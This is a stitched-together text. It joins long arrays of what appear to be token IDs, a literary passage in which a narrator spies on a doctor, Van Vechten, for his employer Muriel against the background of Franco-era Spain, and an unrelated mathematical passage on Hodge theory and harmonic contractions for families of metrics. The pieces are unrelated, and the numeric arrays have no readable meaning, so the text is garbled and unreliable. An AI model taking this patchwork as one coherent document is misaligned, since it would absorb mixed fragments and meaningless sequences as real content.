273, 2798, 13, 247, 3816, 38108, 273, 667, 40259, 10450, 323, 1110, 1475, 368, 13, 390, 26264, 390, 50130, 634, 23837, 15, 309, 8564, 309, 651, 452, 3543, 8106, 672, 309, 3047, 253, 6424, 390, 7989, 1420, 5675, 14753, 273, 479, 13, 13237, 9488, 272, 521, 44873, 285, 7552, 2455, 14, 3062, 1461, 2821, 13, 672, 309, 3047, 326, 344, 27364, 10490, 479, 13, 6830, 13, 275, 253, 1048, 1307, 13, 440, 12380, 595, 13, 604, 824, 952, 452, 824, 10450, 15, 309, 9101, 326, 597, 513, 13, 1580, 10450, 273, 22964, 285, 19429, 403, 1561, 4130, 434, 15909, 13, 1014, 247, 49543, 13, 24764, 19827, 15, 8452, 2506, 626, 452, 247, 2602, 6308, 323, 3095, 13, 247, 21514, 13, 247, 6122, 13, 247, 25459, 13, 247, 389, 24830, 32, 187, 187, 42, 574, 642, 10183, 24612, 275, 12407, 6748, 10049, 657, 5036, 1866, 5550, 5726, 86, 796, 3, 310 ]

them—for other reasons too, I suppose: his influence and his money being among them, I fear—because in the difficult and seemingly endless years of the dictatorship, that is, during most of Van Vechten's career, he had treated the persecuted and the victims of reprisals very well, despite having fought during the Civil War on the so-called Nationalist side and despite being on good terms with the regime, a relationship that had, in part, helped him build a successful career. His early affiliation had been watered down, if not forgotten, and later, younger generations never knew about it, as was the case with so many others who were quick to dissemble or to sever any embarrassing links, or else to sit on the fence and act with generosity and understanding towards the losers: they were sometimes quite sincere, supporters of the new harmony (which ultimately depended on them); others were equally quick to see what was likely to happen in the long term and were mere opportunists. The latter were always aware that even in a situation in which the winners ruled absolutely and completely crushed the opposition or their scattered and battered remnants, it suited them to be at least partly on good terms with everyone or to have them all partly in their debt, or at least not to be seen by anyone as their bitter enemy. They know that any such remnant will, sooner or later, regroup and recover enough to reorganize itself and reconquer those areas despised and ignored by the current tyrant, usually because he has no idea what to do with them: in Spain, for example, this applied to culture and the arts. Van Vechten had been one of the sincere ones, at least he had that reputation. It was said that even during the 1940s and 50s, when the repression was still at its most hyperactively meticulous, and he could have been accused of being nice to the "Reds" and thus damaged his career prospects, he had nonetheless made home visits, completely free of charge, to the sick children of individuals who had been purged and those who had been banned from exercising their professions and were thus condemned to earning nothing or only what they managed to scrape together as and when they could (an eminent botanist was reduced to working as a gardener and certain university professors became teachers at some modest language academy), obliging their wives and older daughters to offer their services as seamstresses or cleaners in the wealthy households of those who had them in their power or of the black marketeers who took advantage of everyone. Van Vechten had been conciliatory or magnanimous and compassionate, as had some of his colleagues, and he had appeared promptly to deal with cases of influenza and colic and measles, mumps and chickenpox, even meningitis and other such serious ailments afflicting those proscribed children. He had salved and saved many small lives, a service for which the parents could not have paid or only with great difficulty and by sliding into unpayable debt and bankruptcy. He had built a reputation as a good, kind man, civilized and caring, and with the passing of time—which passes particularly slowly during dictatorships, where everything becomes legend, often heavily embellished, especially if the interested party has a role in spreading that legend—democratic, cultivated people had come to consider him to be one of them, quite ignorant of how he had prospered under the regime or else attributing this to his extraordinary professional skills, his ability to get on with everyone and to move easily in all circles, and a little, too, to the luck that accompanies any success. This gave him the aura of a moderate, theoretical and almost semi-heroic left-winger, someone who, in the hardest of times, had put his shoulder to the wheel and run risks in order to help valuable, useful people who had been cast into the outer darkness to fend for themselves. No one gave any importance to the fact that he had completed his medical degree when he was only twenty, in 1940, the first year after the victory, when the universities had been closed for the three years that the War had lasted; that when he was twenty-three (my age at the time), he had been appointed Assistant Paediatrician at the Hospital de San Carlos; or that when he was thirty-one he had been able to open his own surgery, which met with immediate success and acclaim, in the then relatively new Clínica Ruber, founded in 1942 by the very _franquista_ and very clever doctors-cum-impresarios Ruiz and Bergaz, who combined the first letters of their two surnames to give the clinic its absurd title. Or maybe it was simply that no one knew, just as in the years of the Transition, people preferred to ignore or deny the past lives of many individuals opposed to the regime—whose opposition only began at some early or late moment in slow-moving time—whose trajectory was considered impeccable, especially if they were confident and distinguished, not to mention vociferous. No one bothers to trace the steps or origins of someone they admire and respect, still less if they owe them a debt of gratitude. No one noticed either that Van Vechten had always enjoyed prestige, reputation and money. It was assumed he had earned this through hard work, talent, dedication and effort. OF COURSE, I knew nothing of all this when Muriel charged me with that task. I knew only of Van Vechten's excellent reputation as a doctor and that he had selflessly given aid to those victims of political reprisals who lacked the means to pay him, or so people said and so anyone would tell you if asked. It was easy enough to check the facts of his biography and career, but no one bothered, even though they were there for all to see in Spanish encyclopaedias, Durban, for example, or even in the most recent edition of _Who's Who in Europe_, which I found in the British Institute library in Calle Almagro; I was surprised to see his name there, I didn't know at the time that there are various short cuts you can take in order to appear in almost any list of important people, if you're determined enough. It was because of the mission Muriel had given me that I decided to find out exactly who I was trying to entrap, hoping to find some more justification for what I was about to do. That's what I didn't like, having to drag him along with me and observe him, with the intention of informing Muriel about his behaviour, especially with women. Even though I didn't much like doing this (right from the start, I could have given my boss some very concrete facts about how, where and who Van Vechten was screwing, at least on that one afternoon, but I had decided to keep quiet about that or keep it to myself for the moment); even though Muriel had been told an ugly story from the past and now harboured grave reservations about Van Vechten that troubled him deeply and threatened their friendship; even though I soon learned that the Doctor had clearly had certain links with the regime in the remote or not so remote past (possibly merely passively or by silent consent; after all, what else could they do, the majority of those who felt unable to give up prospering or growing rich for forty years, it took real guts to abandon all hope), but what I really disliked was the idea of deceiving someone from the outset, of offering him a camaraderie based entirely on someone else's initiative—I mean, why on earth would I choose as a companion on my nights out a sixty-year-old man, even one who looked ten years younger?—and which was completely false from top to bottom. Not only because that camaraderie was feigned, but because behind it lay an ulterior motive, a desire to unmask him, the setting of bait with which to tempt him. I realized how uncomfortable it is being a spy, however worthy the cause, and in this situation, I wasn't even sure what the cause was, I was simply following orders. There is something base, something grubby about passing yourself off as someone else, about behaving in an underhand manner, gaining the confidence of someone in order to betray him, even if that person is a villain, an enemy, a murderer. That is the job of moles and infiltrators, of the secret or double agents who inhabit every sphere of society, even the most innocuous; of the policemen who sometimes spend years working, for example, for a terrorist organization or a mafia, as if they were just another member of the gang. They must be thoroughly convinced of the ultimate nobility of their job, they must think every day, when they get up and when they go to bed, that thanks to their imposture, lives will be saved and crimes averted. And yet, I thought, I could not be one of them. Perhaps it's a matter of training and practice and habit, of feeding an already existing hatred; of developing a sense of righteous indignation, of severity and indifference and hardness of heart, a renunciation of any finer feelings for those around you, or modifying or neutralizing your conscience. I imagine I would have felt guilty when I saw the criminal or fanatic growing fond of me, gradually abandoning his suspicions and becoming ever-more confiding, when I saw that he genuinely liked me, possibly, in the long term, unconditionally, if such people have such feelings. I suspect that they do, since feelings of loyalty and friendship are within everyone's grasp, even a ruthless, malicious monster. Who doesn't have a soft spot for someone, a lover, a daughter, a colleague, a comrade? I had no difficulty whatsoever in persuading Van Vechten ("persuade" is

[ 187, 25420, 281, 27874, 905, 40, 6965, 2582, 36020, 2582, 17995, 885, 14, 1109, 76, 5290, 253, 2515, 313, 42, 14, 22, 10, 313, 2267, 14, 22, 10, 275, 23709, 905, 7273, 2582, 1545, 79, 696, 2186, 15, 4923, 273, 669, 3214, 61, 2461, 61, 4421, 891, 9, 72, 2769, 67, 7182, 3214, 61, 2461, 61, 4421, 270, 5, 285, 370, 74, 9, 72, 1572, 2059, 9, 72, 2769, 2386, 1156, 464, 316, 832, 834, 92, 54, 1217, 1397, 409, 1217, 78, 1217, 79, 94, 18, 599, 19002, 2386, 1156, 464, 316, 832, 834, 92, 54, 1217, 1397, 409, 1217, 78, 1217, 79, 94, 18, 35799, 253, 10012, 840, 816, 3637, 432, 8755, 905, 9072, 14, 1987, 3460, 14, 10994, 305, 14, 5616, 696, 285, 11506, 905, 36020, 14, 7645, 2582, 39810, 2582, 19402, 14, 8560, 4207, 187, 187, 1231, 878, 281, 2007, 22059, 253, 45746, 10012, 15, 44092, 407, 370, 59, 23628, 45, 38132, 393, 6426, 277, 393, 6040, 393, 4153, 23628, 45, 1009, 253, 2317, 273, 4581, 4948, 15, 5838, 326, 370, 59, 23628, 45, 7182, 1588, 388, 3503, 578, 72, 1603, 45, 1572, 11613, 277, 61, 4153, 23628, 45, 1009, 310, 253, 13503, 273, 669, 3005, 64, 72, 464, 4153, 23628, 45, 29119, 3103, 13, 253, 12400, 370, 69, 27, 393, 3005, 578, 72, 94, 393, 4153, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 1009, 310, 39510, 15, 733, 310, 671, 44664, 13, 984, 407, 45746, 10012, 969, 359, 452, 370, 69, 61, 4153, 23628, 45, 4010, 277, 61, 3005, 578, 72, 94, 393, 4153, 23628, 45, 3822, 1893, 359, 4044, 271, 20169, 27, 1764, 1968, 92, 69, 64, 72, 14, 2574, 94, 187, 69, 64, 72, 13522, 69, 27, 393, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 10, 393, 37826, 464, 14829, 94, 277, 61, 4153, 23628, 45, 11189, 844, 778, 671, 921, 669, 6426, 393, 3005, 578, 72, 7628, 1588, 388, 3503, 578, 72, 1603, 45, 1572, 11613, 393, 3005, 578, 72, 889, 4153, 23628, 45, 1009, 5180, 1012, 62, 285, 407, 34617, 669, 3005, 64, 72, 5, 359, 12014, 755, 1764, 1968, 92, 3005, 64, 72, 14, 2574, 94, 187, 61, 3005, 578, 72, 94, 5295, 2029, 3005, 578, 72, 17168, 277, 61, 4153, 23628, 45, 1572, 37826, 464, 14829, 94, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 11189, 187, 187, 39, 27099, 273, 23007, 41465, 1712, 4674, 64, 49896, 273, 23007, 94, 187, 30282, 187, 187, 9301, 359, 971, 281, 39970, 6899, 905, 7273, 14, 36020, 14, 7645, 14, 7801, 696, 281, 17927, 14, 16174, 412, 447, 15, 11668, 247, 6032, 2021, 273, 17082, 669, 2407, 305, 27, 10190, 72, 64, 85, 14548, 85, 61, 249, 6394, 60, 17, 13, 18, 62, 12011, 327, 370, 45, 1352, 380, 1840, 14, 13012, 9158, 403, 48030, 347, 3637, 27, 3019, 74, 64, 85, 13, 393, 2059, 64, 85, 13, 443, 64, 85, 2262, 10190, 74, 9, 72, 64, 85, 582, 393, 2059, 9, 72, 64, 85, 582, 443, 9, 72, 64, 85, 18103, 285, 370, 69, 64, 85, 13522, 69, 578, 72, 64, 85, 724, 285, 669, 3005, 64, 85, 25942, 3005, 24915, 72, 64, 85, 724, 275, 3891, 3005, 2582, 72, 14, 2574, 8001, 844, 806, 452, 767, 310, 29675, 27, 3318, 69, 64, 85, 61, 5574, 393, 3005, 64, 85, 27, 277, 61, 4153, 23628, 45, 10, 393, 936, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 558, 393, 393, 393, 393, 393, 187, 61, 3005, 64, 85, 61, 5574, 277, 64, 85, 27, 393, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 10, 393, 936, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 11189, 44092, 407, 669, 3442, 64, 85, 5, 253, 12400, 273, 253, 3905, 43917, 669, 3442, 578, 72, 64, 85, 4203, 69, 61, 3005, 578, 72, 64, 85, 9213, 3005, 578, 72, 64, 85, 94, 69, 5, 327, 253, 2317, 669, 1588, 388, 578, 72, 64, 85, 2306, 5355, 45, 25690, 14715, 393, 8275, 277, 61, 4153, 23628, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 3822, 2635, 13, 669, 3442, 64, 85, 30, 69, 64, 85, 61, 3005, 64, 85, 61, 11613, 393, 3005, 64, 85, 277, 64, 85, 5, 285, 275, 1798, 1764, 1968, 92, 3442, 64, 72, 64, 46429, 14, 2574, 94, 187, 61, 3442, 64, 85, 2497, 18, 94, 14680, 3005, 64, 85, 2497, 18, 94, 69, 64, 85, 2497, 18, 889, 11613, 277, 64, 85, 2497, 18, 889, 3005, 64, 85, 2497, 18, 94, 1163, 277, 61, 4153, 23628, 45, 10, 393, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 10, 393, 936, 50276, 69, 61, 4153, 23628, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 11189, 10022, 13, 253, 6115, 5572, 669, 4820, 92, 3594, 2026, 72, 64, 85, 724, 476, 320, 11120, 4469, 407, 1764, 1968, 92, 3594, 64, 85, 14, 2574, 94, 187, 61, 4820, 92, 3594, 2026, 72, 64, 85, 4203, 393, 3442, 64, 85, 2497, 18, 94, 393, 5574, 20886, 2690, 92, 301, 27825, 393, 1588, 388, 578, 72, 64, 85, 43742, 28285, 669, 1588, 388, 578, 72, 64, 85, 724, 310, 253, 12378, 4830, 23007, 4948, 285, 3021, 2367, 2690, 92, 301, 42637, 1588, 388, 578, 72, 64, 85, 724, 310, 253, 19627, 12378, 281, 253, 24822, 370, 69, 61, 4153, 23628, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 3822, 2896, 16968, 273, 3891, 38474, 443, 9, 72, 10, 9014, 3891, 3442, 2582, 72, 2582, 46429, 14, 2574, 3851, 285, 3891, 3594, 2582, 85, 14, 2574, 3851, 359, 871, 1764, 1968, 92, 40, 64, 85, 93, 3005, 4153, 14, 2574, 94, 187, 40, 64, 85, 393, 5574, 393, 3005, 578, 72, 64, 85, 4203, 17, 1890, 1764, 1968, 92, 40, 64, 85, 93, 59, 5355, 45, 4587, 2574, 94, 187, 40, 64, 85, 17180, 59, 23628, 45, 32845, 10042, 3005, 578, 72, 64, 85, 94, 393, 5574, 393, 3442, 64, 85, 2497, 18, 94, 393, 5574, 1926, 2690, 92, 1087, 6922, 69, 61, 4153, 23628, 45, 3117, 11468, 69, 64, 85, 2497, 18, 94, 393, 5574, 1926, 2690, 92, 1087, 6922, 69, 61, 4153, 23628, 45, 40227, 835, 2802, 29152, 2690, 92, 1087, 4018, 457, 9572, 323, 253, 19627, 12378, 15, 496, 2714, 13, 436, 8599, 370, 40, 64, 85, 17180, 69, 61, 4153, 23628, 45, 3117, 11468, 69, 64, 85, 2497, 18, 3363, 187, 187, 1447, 38474, 288, 2582, 85, 465, 2582, 85, 14, 5616, 696, 1707, 4961, 6032, 5870, 273, 9158, 370, 73, 64, 85, 27, 388, 23628, 45, 10, 393, 936, 393, 4153, 23628, 45, 1009, 285, 370, 76, 64, 85, 27, 393, 4153, 23628, 45, 10, 393, 936, 388, 23628, 45, 1009, 273, 4248, 9929, 18, 5, 342, 253, 1563, 3607, 27, 1764, 1968, 92, 5168, 64, 85, 19641, 426, 69, 288, 64, 85, 428, 2574, 94, 187, 61, 1124, 92, 5168, 64, 85, 1217, 7064, 4203, 277, 393, 5574, 288, 64, 85, 28, 1890, 1764, 1968, 92, 69, 2059, 64, 85, 19641, 30, 76, 64, 85, 277, 428, 2574, 94, 187, 61, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 4203, 465, 64, 85, 393, 5574, 277, 1890, 1764, 1968, 92, 2059, 64, 85, 288, 64, 85, 30, 17, 14, 2574, 94, 187, 61, 2059, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1890, 1764, 1968, 92, 76, 64, 85, 891, 64, 85, 30, 17, 14, 2574, 94, 187, 76, 64, 85, 61, 5574, 891, 64, 85, 426, 17, 1890, 1764, 1968, 92, 40, 64, 85, 288, 64, 85, 30, 17, 64, 2574, 94, 187, 40, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1890, 1764, 1968, 92, 76, 64, 85, 443, 64, 85, 30, 17, 64, 2574, 94, 187, 76, 64, 85, 61, 5574, 443, 64, 85, 30, 17, 1890, 187, 187, 2374, 253, 581, 1133, 13, 6983, 326, 370, 69, 61, 5574, 891, 64, 85, 30, 17, 5, 7613, 359, 778, 671, 2743, 370, 74, 64, 85, 27, 388, 23628, 45, 10, 393, 936, 1503, 23628, 45, 3822, 2896, 5426, 359, 452, 370, 82, 61, 5574, 891, 64, 85, 426, 464, 2690, 92, 301, 4018, 323, 253, 3626, 12378, 370, 82, 27, 1503, 23628, 45, 1572, 936, 388, 23628, 45, 3822, 3308, 370, 82, 61, 5574, 393, 1124, 92, 69, 891, 64, 85, 1217, 7064, 4203, 17, 5, 285, 594, 253, 2460, 273, 669, 1124, 92, 5168, 64, 85, 1217, 7064, 17168, 388, 23628, 45, 10, 393, 936, 393, 4153, 23628, 45, 1009, 310, 6221, 275, 253, 2317, 370, 69, 61, 4153, 23628, 45, 1009, 273, 370, 69, 2911, 42611, 4948, 15, 2635, 359, 778, 1691, 1764, 1968, 92, 73, 64, 85, 14, 2574, 94, 187, 73, 64, 85, 13522, 69, 64, 85, 2497, 18, 94, 393, 5574, 393, 1124, 92, 5168, 64, 85, 1217, 7064, 17168, 388, 23628, 45, 10, 393, 936, 277, 61, 4153, 23628, 45, 10, 393, 936, 393, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 1572, 6040, 50276, 61, 4153, 23628, 45, 11189, 496, 1798, 13, 669, 1124, 92, 5168, 64, 85, 1217, 7064, 4203, 69, 61, 5574, 288, 64, 85, 1352, 1623, 253, 643, 1133, 13, 6983, 326, 669, 2059, 64, 85, 61, 5574, 277, 30, 470, 5, 285, 594, 669, 2059, 64, 85, 17180, 59, 23628, 45, 32845, 82, 1352, 1707, 1615, 13, 669, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 8589, 578, 59, 23628, 45, 32845, 17, 5, 285, 581, 476, 1859, 669, 1124, 92, 69, 61, 2059, 64, 85, 21159, 7064, 724, 347, 271, 5572, 327, 669, 3005, 578, 72, 64, 85, 2704, 4153, 23628, 45, 28185, 2635, 359, 476, 4853, 1764, 1968, 92, 76, 64, 85, 14, 2574, 94, 187, 76, 64, 85, 13522, 187, 61, 2043, 92, 12866, 94, 187, 393, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 889, 5574, 277, 64, 85, 2497, 18, 94, 50275, 5977, 1156, 92, 251, 393, 748, 277, 464, 4153, 23628, 45, 7398, 61, 187, 17, 9443, 1156, 92, 251, 393, 748, 393, 1588, 388, 578, 72, 64, 85, 1603, 45, 1572, 11613, 393, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 10, 187, 61, 423, 92, 12866, 2138, 496, 1798, 370, 76, 64, 85, 61, 5574, 393, 1588, 388, 578, 72, 64, 85, 4203, 17, 5, 285, 370, 76, 64, 85, 61, 5574, 393, 3005, 578, 72, 64, 85, 4203, 17, 1352, 2058, 806, 359, 760, 452, 669, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 4203, 465, 64, 85, 393, 5574, 277, 64, 85, 5, 347, 271, 5572, 432, 669, 3005, 578, 72, 64, 85, 94, 393, 4153, 23628, 45, 10, 393, 936, 388, 23628, 45, 46433, 533, 1580, 669, 1124, 92, 69, 61, 2059, 64, 85, 1217, 7064, 724, 27309, 327, 370, 59, 23628, 45, 1009, 534, 509, 9115, 253, 5028, 273, 370, 76, 64, 85, 61, 5574, 277, 64, 85, 1366, 352, 310, 4320, 281, 9017, 370, 76, 64, 85, 5, 407, 5058, 281, 271, 5572, 2931, 327, 253, 2264, 669, 4153, 23628, 45, 1009, 347, 359, 858, 1840, 15, 3954, 13, 359, 921, 253, 1390, 1740, 3607, 27, 3973, 13, 1580, 253, 2460, 273, 370, 73, 64, 85, 5, 310, 6221, 275, 669, 3005, 578, 72, 64, 85, 889, 4153, 23628, 45, 4244, 359, 452, 669, 2059, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1352, 6347, 13, 1580, 253, 2460, 273, 370, 74, 64, 85, 5, 310, 275, 669, 1588, 388, 578, 72, 64, 85, 2306, 5355, 45, 4244, 359, 671, 452, 370, 76, 64, 85, 61, 5574, 891, 64, 85, 30, 17, 1352, 12245, 13, 1580, 253, 2460, 273, 370, 73, 64, 85, 5, 310, 6221, 275, 669, 3005, 578, 72, 64, 85, 2704, 4153, 23628, 45, 29119, 352, 3637, 432, 3891, 40, 2582, 85, 93, 3005, 4153, 14, 2574, 3851, 326, 370, 40, 64, 85, 61, 5574, 288, 64, 85, 30, 17, 1352, 16650, 13, 970, 3891, 38474, 443, 9, 72, 10, 3851, 253, 2460, 273, 370, 40, 64, 85, 5, 310, 6221, 275, 669, 3005, 578, 72, 64, 85, 2704, 4153, 23628, 45, 10392, 327, 534, 370, 76, 64, 85, 5, 310 ]

Due to Remark \[Gapped\_canonical\_precise-rmk\], the conditions (I-5) (II-5) in Definition \[UD\_defn\] hold. Because of $\partial\beta\cap i(g)(b)=\partial\beta\cap b$ and $i(g)\pi(g)({{\text{\usefont{U}{dsrom}{m}{n}1}}})={{\text{\usefont{U}{dsrom}{m}{n}1}}}$, the theorem then just follows from Lemma \[strong-contraction-metric g-lem\] and Proposition \[canonical-model\_preserve\_properties-prop\]. We need to further exploit the Hodge theorem. Denote by $Z^*(L):= \ker d \subset \Omega^*(L)$ the space of closed forms. Note that $Z^*(L)=\mathcal H^*_{g}(L)\oplus d\Omega^*(L)$ is the complement of $\delta_g{\Omega^*(L)}$, therefore, the restriction $d: \delta_{g} \Omega^*(L) \to d\Omega^*(L)$ is injective. It is also surjective, because by Hodge theorem again we have $d\Omega^*(L)= d\delta_{g} \Omega^*(L)$. So we obtain an isomorphism: $$\label{d_g-eq} d_g:=d: \delta_{g_t} \Omega^*(L) \xrightarrow{\cong} d\Omega^*(L)$$ We may also show $\ker \delta_{g}=\mathcal H^*_{g}(L)\oplus \delta_{g}\Omega^*(L)$[^13] and by restricting $\delta_g$ we similarly get $$\label{delta_g-eq} \delta_{g}':=\delta_{g}: d\Omega^*(L)\xrightarrow{\cong} \delta_{g_t}\Omega^*(L)$$ Families of harmonic contractions {#section_families of harmonic} --------------------------------- Next we want to generalize Theorem \[UD-canonical-model-thm\] to pseudo-isotopies. Take a smooth family of metrics $\mathbf g:=(g_t)_{t\in{{[0,1]}}}$ on $L$. The above-mentioned operators are abbreviated as follows: $(i_t, \pi_t, G_t):=(i(g_t), \pi(g_t), G(g_t))$ and $d_t:=d_{g_t}$ and $\delta_t:=\delta'_{g_t}$ in (\[delta\_g-eq\]). We first have two isomorphisms: $$d_t\circ \delta_t: d\Omega^*(L) \to \delta_{g_t}\Omega^*(L) \to d\Omega^*(L); \ \ \ \ \ \delta_t\circ d_t: \delta_{g_t} \Omega^*(L) \to d\Omega^*(L) \to \delta_{g_t}\Omega^*(L)$$ Denote by $\Delta_t$ the restriction of the Laplacian $\Delta_{g_t}=d\delta_{g_t}+\delta_{g_t}d$ on the space $\mathcal H_{g_t}^*(L)^\perp \equiv d\Omega^*(L)\oplus \delta_{g_t}\Omega^*(L)$. Then, $\Delta_t=d_t\delta_t\oplus \delta_t d_t$ and in particular $$\label{Delta_g_inverse-eq} \Delta_t^{-1} =\delta_t^{-1}d_t^{-1}\oplus d_t^{-1}\delta_t^{-1} : d\Omega^*(L) \oplus \delta_{g_t}\Omega^*(L) \to d\Omega^*(L)\oplus \delta_{g_t}\Omega^*(L)$$ Accordingly, the Green operator $\operatorname{Gr}_{g_t}$ can be explicitly expressed by $$\label{Gr_t-eq} \operatorname{Gr}_{g_t}= \Delta_t^{-1} \circ ({\mathrm{id}}- \mathcal H_{g_t})$$ Recall $\mathcal H_{g_t}$ is the projection onto harmonic forms and thus ${\mathrm{id}}-\mathcal H_{g_t}$ is the orthogonal projection to the subspace $d\Omega^*(L)\oplus \delta_{g_t}\Omega^*(L)$. By virtue of (\[harmonic G(g)\]), (\[Delta\_g\_inverse-eq\]) and (\[Gr\_t-eq\]) we know $$\label{G_t|deltaOmega-eq} G_t \circ \delta_{g_t}=0$$ $$\label{G_t|Z*(L)-eq} G_t|_{Z^*(L)}= -\delta_{g_t} \circ \Delta_t^{-1} \circ {\mathrm{pr}}_{d\Omega^*(L)}=-d_t^{-1} \circ {\mathrm{pr}}_{d\Omega^*(L)}$$ where ‘${\mathrm{pr}}$’ stands for the orthogonal projection. In special, this tells $G_t|_{d\Omega^*(L)}=-d_t^{-1}$. \[harmonic h\_t k\_t-lem\] There exists smooth families of operators $h_t: H^*(L) \to \Omega^*(L)$ and $k_t: \Omega^*(L) \to H^*(L)$ of degree $-1$ with the following properties: $$\label{di_t dt =d h_t -eq} \frac{di_t}{dt}= d \circ h_t;$$ $$\label{dpi_t dt=k_t d -eq} \frac{d\pi_t}{dt}= k_t \circ d$$ $$\label{pi_t h_t=0-eq} \pi_t\circ h_t=0$$ $$\label{k_t i_t=0-eq} k_t\circ i_t =0$$ $$\label{G_t h_t=0_eq} G_t\circ h_t=0$$ $$\label{k_t G_t=0_eq} k_t\circ G_t=0$$ On the one hand, recall that $d\circ i_t=0$ hence we may also regard $i_t: H^*(L) \to Z^*(L)$. By definition we have $q\circ i_t ={\mathrm{id}}$ for the natural projection $q: Z^*(L)\to H^*(L)$. Thus $q\circ \frac{d i_t}{dt}=0$ and so the image of $\frac{di_t}{dt}: H^*(L) \to \Omega^*(L)$ is contained in the space $d\Omega^*(L)$ of $d$-exact forms. Then we may put $$\label{h_t-eq} h_t:=d_t^{-1} \circ \frac{di_t}{dt}: H^*(L) \to d\Omega^*(L) \to \delta_{g_t} \Omega^*(L)\subset \Omega^*(L)$$ In particular, $\frac{di_t}{dt}=d\circ h_t$. On the other hand, recall that $\pi_t\circ d= 0$ and so $\pi_t|_{Z^*(L)}=q$. Thereby, $\frac{d\pi_t}{dt}|_{Z^*(L)}=0$ and one can view $\frac{d\pi_t }{dt}$ as an operator on $\delta_{g_t}{\Omega^*(L)}$. Then we can define $$\label{k_t-eq} k_t:= \begin{cases} \frac{d\pi_t}{dt}\circ d_t^{-1} &\text{on \ } d{\Omega^*(L)}\\ 0 &\text{on \ } \mathcal H_{g_t}(L)\oplus \delta_{g_t}\Omega^*(L) \end{cases}$$ In particular $k_t\circ \mathcal H_{g_t}=0$ and $k_t\circ \delta_{g_t}=0$. At first we only have $\frac{d\pi_t}{dt}= k_t \circ d_t$ as an operator from $\delta_{g_t} \Omega^*(L) \to H^*(L)$; but since $\frac{d\pi_t}{dt}$ vanishes on $Z^*(L)$ which complements the domain of $k_t\circ d_t$, it is legal to extend $k_t$ by zero to an operator defined on the total $\Omega^*(L)$ as we did above. Now, we show the last four properties: First, since the image of $h_t$ is contained in $\delta_{g_t}\Omega^*(L)$, we have $\pi_t\circ h_t=0$. Second, since the image of $i_t$ is in $\mathcal H_{g_t}^*(L)$, we also have $k_t\circ i_t=0$. Third, since the image of $h_t$ is contained in $\delta_{g_t}{\Omega^*(L)}$, it follows from (\[G\_t|deltaOmega-eq\]) that $G_t\circ h_t=0$. Fourth, using (\[harmonic G(g)\]) the image of $G_t$ is contained in $\delta_{g_t}{\Omega^*(L)}$ on which $k_t$ is

[ 368, 6849, 273, 32915, 25005, 4377, 285, 8462, 3358, 301, 24515, 13, 534, 908, 281, 320, 247, 3645, 3660, 3719, 6308, 350, 17216, 281, 3698, 323, 6692, 9954, 326, 778, 2983, 14902, 788, 18874, 15, 23359, 751, 253, 269, 75, 6565, 273, 20341, 13, 9396, 48493, 1154, 17954, 387, 253, 5004, 273, 841, 1355, 13, 41261, 13596, 15, 380, 2412, 17216, 3740, 25005, 4377, 46444, 4660, 13, 672, 1527, 13, 588, 1918, 368, 253, 2892, 273, 253, 2170, 13, 347, 973, 347, 2085, 690, 3965, 15143, 7968, 273, 253, 2919, 15, 733, 310, 407, 436, 391, 3751, 4660, 326, 253, 6393, 37166, 24618, 11693, 310, 4441, 15, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 4497, 14, 30644, 13, 4354, 3560, 285, 10323, 247, 6507, 2940, 949, 253, 14086, 21327, 273, 253, 11442, 19898, 33489, 21398, 16015, 13, 6393, 37166, 24618, 310, 13103, 15, 2058, 337, 15, 22, 6574, 3790, 7408, 13, 436, 11693, 310, 1679, 273, 247, 27966, 285, 625, 273, 247, 2940, 15, 23177, 247, 13915, 1066, 253, 11693, 13, 247, 21195, 4620, 13, 285, 604, 5471, 9957, 42934, 13, 368, 476, 564, 12394, 30480, 15, 25005, 4377, 13, 534, 310, 247, 495, 15, 25, 13915, 3790, 7408, 27966, 275, 534, 368, 6351, 1722, 361, 4669, 15, 2058, 2164, 361, 649, 13, 30480, 25005, 4377, 6131, 15143, 6849, 273, 9396, 48493, 1154, 13, 347, 973, 347, 247, 1270, 38769, 6308, 1977, 432, 253, 7635, 23750, 273, 288, 43960, 327, 253, 6393, 37166, 24618, 11693, 15, 1723, 13, 604, 368, 7617, 281, 564, 281, 253, 11521, 285, 6680, 253, 24597, 13, 368, 588, 320, 10260, 33302, 15, 2732, 368, 2831, 253, 747, 5148, 9729, 689, 253, 8281, 13, 253, 1390, 9166, 649, 273, 253, 11693, 12015, 1768, 3965, 25060, 2112, 247, 27563, 13, 4283, 368, 281, 247, 1270, 1859, 273, 6393, 37166, 24618, 15, 11668, 634, 673, 7824, 598, 436, 1218, 4206, 1854, 13, 4264, 253, 35599, 273, 253, 9313, 21327, 285, 3517, 368, 588, 320, 1677, 247, 14911, 48150, 1859, 273, 247, 1355, 13, 2568, 23535, 1824, 12615, 15, 2058, 247, 4898, 273, 5091, 649, 13, 436, 1824, 12615, 310, 13943, 275, 697, 17647, 15, 187, 187, 510, 21832, 281, 6393, 37166, 24618, 187, 187, 25000, 37166, 24618, 187, 187, 4553, 247, 2159, 27966, 896, 281, 253, 46444, 14628, 13, 368, 1335, 452, 673, 281, 5184, 275, 634, 1113, 285, 4446, 670, 577, 6574, 8935, 1919, 368, 755, 281, 8647, 5119, 10512, 15, 8669, 13, 534, 310, 1728, 281, 253, 2101, 33483, 31606, 21832, 15, 